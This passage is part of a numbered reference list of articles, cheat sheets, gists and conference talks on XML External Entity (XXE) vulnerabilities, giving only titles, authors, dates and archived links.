0X1: SOAPY XXE - Uncover and exploit XXE vulnerability in SOAP WS - Optistream - May 27, 2024](https://web.archive.org/web/20240527202144/https://www.optistream.io/blogs/tech/redteam-stories-1-soapy-xxe) 690 - [XML attacks - Mariusz Banach (@mgeeky) - December 21, 2017](https://gist.github.com/mgeeky/4f726d3b374f0a34267d4f19c9004870) 691 - [XML external entity (XXE) injection - PortSwigger - May 29, 2019](https://web.archive.org/web/20190529163105/https://portswigger.net/web-security/xxe) 692 - [XML External Entity (XXE) Processing - OWASP - December 4, 2019](https://web.archive.org/web/20160309065737/https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing) 693 - [XML External Entity Prevention Cheat Sheet - OWASP - February 16, 2019](https://web.archive.org/web/20260306061747/https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html) 694 - [XXE ALL THE THINGS!!! (including Apple iOS's Office Viewer) - Bruno Morisson - August 14, 2015](https://web.archive.org/web/20161111162257/https://labs.integrity.pt/articles/xxe-all-the-things-including-apple-ioss-office-viewer/) 695 - [XXE in Uber to read local files - httpsonly - January 24, 2017](https://web.archive.org/web/20180701015455/https://httpsonly.blogspot.hk/2017/01/0day-writeup-xxe-in-ubercom.html) 696 - [XXE inside SVG - YEO QUAN YANG - June 22, 2016](https://web.archive.org/web/20211016174500/https://quanyang.github.io/x-ctf-finals-2016-john-slick-web-25/) 697 - [XXE payloads - Etienne Stalmans (@staaldraad) - July 7, 2016](https://gist.github.com/staaldraad/01415b990939494879b4) 698 - [XXE: How to become a Jedi - Yaroslav Babin - November 6, 2018](https://web.archive.org/web/20260306152956/https://2017.zeronights.org/wp-content/uploads/materials/ZN17_yarbabin_XXE_Jedi_Babin.pdf)